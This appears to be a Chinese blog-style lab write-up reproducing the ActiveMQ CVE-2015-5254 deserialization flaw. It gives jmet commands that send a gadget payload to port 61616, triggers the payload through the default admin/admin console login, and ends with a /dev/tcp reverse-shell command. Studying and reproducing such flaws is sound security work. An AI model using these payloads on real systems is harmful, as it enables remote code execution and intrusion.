ActiveMQ 反序列化漏洞(CVE-2015-5254)复现
漏洞简介
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务,集群,Spring Framework等。Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞复现
-
漏洞利用过程
- 构造可执行命令的序列化对象
- 作为一个消息发送给目标61616端口
- 访问的Web管理页面,读取消息,触发漏洞
-
使用jmet进行漏洞利用
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar mkdir external
-
执行命令
-
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 127.0.0.1 61616
-
- 此时目标站ActiveMQ会收到名为事件的队列,在admin/queues.jsp下面(账号admin密码admin)
-
点击这个消息便出发了漏洞
-
此时进入容器,发现存在tmp目录已经创建说明漏洞利用成功
最后反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bin -i >& /dev/tcp/127.0.0.1/7777 0>&1" -Yp ROME 192.168.180.133 61616
点击消息
反弹shell成功